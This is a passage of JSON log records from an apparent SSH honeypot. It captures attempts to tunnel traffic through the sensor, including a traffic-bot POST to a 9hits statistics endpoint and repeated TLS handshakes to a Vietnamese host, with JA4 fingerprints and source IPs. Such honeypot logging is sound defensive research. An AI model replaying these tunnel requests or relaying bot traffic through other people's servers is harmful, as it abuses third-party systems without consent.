x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.030346Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.230980Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; W-K560-EEA Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ayV3IThwZEtPaGN2JEU%2BJQ%3D%3D2yPSBRHs8b18U4Tz%2B%2FwHL1WpTMT5%2BjJv8%2B6enxwLzBjUnrIkxwF0OzlgWREMYuhwDSAdKnf8ODHz%2FIYQowY%2Bsu25%2FV8RUB%2FxCRkGW9s2TBqu9BSoCz9Ft8UwCT9NI6dfQkKvTIqnCRH4DWN1VDQf5hWTop2jNcOU2RLsTTQF6B2tRopGjJ7rRMczyIMo%2BJ3jF5UsSDz9R4DK56rJTZirj7zskVtklQW9czICekWZIep5y2lf8dN9O5LdKFc7z26xVhKiZBaFKcITkCANCr%2FH5JguQrJBSvXZF%2B51gIWSTvIYzZe2NwMzXsbyV48eLJeZQG8ifGyW4%2FVBOOI%2Fw5svETPqMflBpu0XExyB54FQk1WPAVDnvrBZ80xtgZ%2BDIxihrW%2BVm%2BtzqKGHs%2Br5vA7XaLnwQnopJE2TbcLMRvlYauj%2BPd7QTSxGudgTnunnCRvSw811u3Dr2i3gWNdcfCp1bXgNz4L%2FUw5MHPJsHwQphm6N7NqT9Kxd263T6NAijQo%2BhrWpBGL%2BLdwnOPM%2B64mltTLm6FzPg6nN0wgdoIxPJxq5JDZeXbFMbHgKq2eT9Ak0GykK%2BEJmRzkuE7Q0gxOfCqSZhTVEvlOwYNLugzCMGOHnWaLH5KFJDeY6EfkF1Smr%2FxaWAO0z58ZlUJylnkNv7EP%2BhtfHEfdJ5Am0ppA9t%2FNJBsAbGDQDPUN0W8Ugy1d2d2jlG0u%2B0obyZfzpXnOUHfKPNHHLTrl8iiFv0bgX58tcLFwBza%2FYjQ9xeLOXKx%2F9klGmMN21iq6LLdsFE1QKVsOs0sL162FUiGz8DZY187i%2BdpDSUGs9OHUSNmlkWXDWxMbl7aINax0PJ0VgtzUedaLemWFJkGj2Y%2F%2B2VTiTX1FEK6VGG%2F5srFFEjSEveJQnXFTCZQyZ72vKfzkWXq7K2G8xXWsWX%2FueheEP4JHAKiC6rJZ4d93L2hEcUbkEuo%2FGdNaTNkeKYBvvSzpcGuEqdoKuyRccRraIpbo1ywJb9opQesmAnebygrVo3rng86l5PaQ%2FZdMpcvO465TesDAQzjV2S7dHHeZhG3OGqKYKzak%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1174\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 10; W-K560-EEA Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=ayV3IThwZEtPaGN2JEU%2BJQ%3D%3D2yPSBRHs8b18U4Tz%2B%2FwHL1WpTMT5%2BjJv8%2B6enxwLzBjUnrIkxwF0OzlgWREMYuhwDSAdKnf8ODHz%2FIYQowY%2Bsu25%2FV8RUB%2FxCRkGW9s2TBqu9BSoCz9Ft8UwCT9NI6dfQkKvTIqnCRH4DWN1VDQf5hWTop2jNcOU2RLsTTQF6B2tRopGjJ7rRMczyIMo%2BJ3jF5UsSDz9R4DK56rJTZirj7zskVtklQW9czICekWZIep5y2lf8dN9O5LdKFc7z26xVhKiZBaFKcITkCANCr%2FH5JguQrJBSvXZF%2B51gIWSTvIYzZe2NwMzXsbyV48eLJeZQG8ifGyW4%2FVBOOI%2Fw5svETPqMflBpu0XExyB54FQk1WPAVDnvrBZ80xtgZ%2BDIxihrW%2BVm%2BtzqKGHs%2Br5vA7XaLnwQnopJE2TbcLMRvlYauj%2BPd7QTSxGudgTnunnCRvSw811u3Dr2i3gWNdcfCp1bXgNz4L%2FUw5MHPJsHwQphm6N7NqT9Kxd263T6NAijQo%2BhrWpBGL%2BLdwnOPM%2B64mltTLm6FzPg6nN0wgdoIxPJxq5JDZeXbFMbHgKq2eT9Ak0GykK%2BEJmRzkuE7Q0gxOfCqSZhTVEvlOwYNLugzCMGOHnWaLH5KFJDeY6EfkF1Smr%2FxaWAO0z58ZlUJylnkNv7EP%2BhtfHEfdJ5Am0ppA9t%2FNJBsAbGDQDPUN0W8Ugy1d2d2jlG0u%2B0obyZfzpXnOUHfKPNHHLTrl8iiFv0bgX58tcLFwBza%2FYjQ9xeLOXKx%2F9klGmMN21iq6LLdsFE1QKVsOs0sL162FUiGz8DZY187i%2BdpDSUGs9OHUSNmlkWXDWxMbl7aINax0PJ0VgtzUedaLemWFJkGj2Y%2F%2B2VTiTX1FEK6VGG%2F5srFFEjSEveJQnXFTCZQyZ72vKfzkWXq7K2G8xXWsWX%2FueheEP4JHAKiC6rJZ4d93L2hEcUbkEuo%2FGdNaTNkeKYBvvSzpcGuEqdoKuyRccRraIpbo1ywJb9opQesmAnebygrVo3rng86l5PaQ%2FZdMpcvO465TesDAQzjV2S7dHHeZhG3OGqKYKzak%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.234213Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.238083Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03sA9\\xb17\\xdd\\x92s\\x92\\xe5\\x0b\\xfa\\xf2E%{ \\xb2\\xa8*Nr\\xb9\\x9e(\\xd7\\x82\\xaa|\\x95K~ \\x90'\\x93\\xd7w\\xfex\\x01Y\\xc7i\\xbfc\\x00\\x95\\x94\\x9e\\x15\\xe5e\\xcbI\\x82\\x86\\x08d\\xa6{\\xb9 fU\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xd8\\xb1`C\\xa8\\xd1\\xd6\\xc7\\xb0\\xdfS\\x93Y\\x1bD\\x18\\x1f\\x18\\x92B\\x08\\x1aX\\\\|Q\\t\\x8c\\x1c\\xc8o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03sA9\\xb17\\xdd\\x92s\\x92\\xe5\\x0b\\xfa\\xf2E%{ \\xb2\\xa8*Nr\\xb9\\x9e(\\xd7\\x82\\xaa|\\x95K~ \\x90'\\x93\\xd7w\\xfex\\x01Y\\xc7i\\xbfc\\x00\\x95\\x94\\x9e\\x15\\xe5e\\xcbI\\x82\\x86\\x08d\\xa6{\\xb9 fU\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8d\\xd8\\xb1`C\\xa8\\xd1\\xd6\\xc7\\xb0\\xdfS\\x93Y\\x1bD\\x18\\x1f\\x18\\x92B\\x08\\x1aX\\\\|Q\\t\\x8c\\x1c\\xc8o\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.240538Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.271558Z","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.339492Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\x17\\xe9\\xbbv\\xa5 \\xd6\\x95\\xd8\\xfd\\xc0v\\x928\\xcdT\\x1e\\xadQ\\x1f\\xe6\\xa3)\\xd4\\xba%;\\xda\\xf3%\\xe6 M\\\\z\\x05\\xfd\\xf4V\\xf0|r\\xe3\\x8c\\xa7\\xcf\\x9a\\xeeeD\\xbb\\x94?\\x17cxl\\xa3m\\xec\\xd5\\xb3{9\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\xa8~\\xd9\\xd6\\t\\xddc\\xd7v\\x9a\\xbb\\xa0t_\\xa6\\x19f\\x7f\\xf4_\\x07\\xe2\\xc6v\\x02l\\xddD:=\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\x17\\xe9\\xbbv\\xa5 \\xd6\\x95\\xd8\\xfd\\xc0v\\x928\\xcdT\\x1e\\xadQ\\x1f\\xe6\\xa3)\\xd4\\xba%;\\xda\\xf3%\\xe6 M\\\\z\\x05\\xfd\\xf4V\\xf0|r\\xe3\\x8c\\xa7\\xcf\\x9a\\xeeeD\\xbb\\x94?\\x17cxl\\xa3m\\xec\\xd5\\xb3{9\\x00\"::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xe1\\xa8~\\xd9\\xd6\\t\\xddc\\xd7v\\x9a\\xbb\\xa0t_\\xa6\\x19f\\x7f\\xf4_\\x07\\xe2\\xc6v\\x02l\\xddD:=\\t\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.343190Z","src_ip":"23.148.145.132","session":"cb655ee4afad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.521712Z","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:20:46.798797Z","src_ip":"113.164.152.20","session":"63f0fc2b088d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03${\\x88\\xed\\'\\x98\\xe9\\xdf\\xed\\xbf1\\xbe\\xa22\\x84!\\xf7\\xa9\\xae\\xcek\\x84\\xa5\\xc7\\x9a/\\xb7skU\\xfa( \\xad\\x93W;\\xe0\\xff\\x04!\\xc2\\xcaw\\x1fR\\xb8\\x87\\xe5\\\\\\x8b`e\\xd6\\xa8\\xc0#K\\xb6\\xdcy\\xca/\\xa8\\x88\\x00\"ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x96\\xb8\\xa6\\xe5A\\x0eC\\xc7?\\xff\\xfa2\\x16\\x943,m\\x92~A0\\x10\\x9bTT\\x9fS\\xb0^\\xb8\\x8b-\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03${\\x88\\xed\\'\\x98\\xe9\\xdf\\xed\\xbf1\\xbe\\xa22\\x84!\\xf7\\xa9\\xae\\xcek\\x84\\xa5\\xc7\\x9a/\\xb7skU\\xfa( 